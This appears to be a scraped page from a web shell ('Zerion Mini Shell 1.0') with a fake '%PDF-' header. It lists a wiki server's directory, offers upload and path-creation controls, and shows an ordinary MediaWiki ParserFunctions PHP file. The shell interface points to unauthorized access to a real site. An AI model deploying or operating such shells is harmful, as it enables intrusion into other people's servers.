%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/extensions/ParserFunctions/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/extensions/ParserFunctions/ParserFunctions.library.php

<?php

class Scribunto_LuaParserFunctionsLibrary extends Scribunto_LuaLibraryBase {
	public function register() {
		$lib = array(
			'expr' => array( $this, 'expr' ),
		);

		return $this->getEngine()->registerInterface( __DIR__ . '/mw.ext.ParserFunctions.lua', $lib, array() );
	}

	public function expr( $expression = null ) {
		$this->checkType( 'mw.ext.ParserFunctions.expr', 1, $expression, 'string' );
		try {
			return array( ExtParserFunctions::getExprParser()->doExpression( $expression ) );
		} catch ( ExprError $e ) {
			throw new Scribunto_LuaError( $e->getMessage() );
		}
	}

}

Zerion Mini Shell 1.0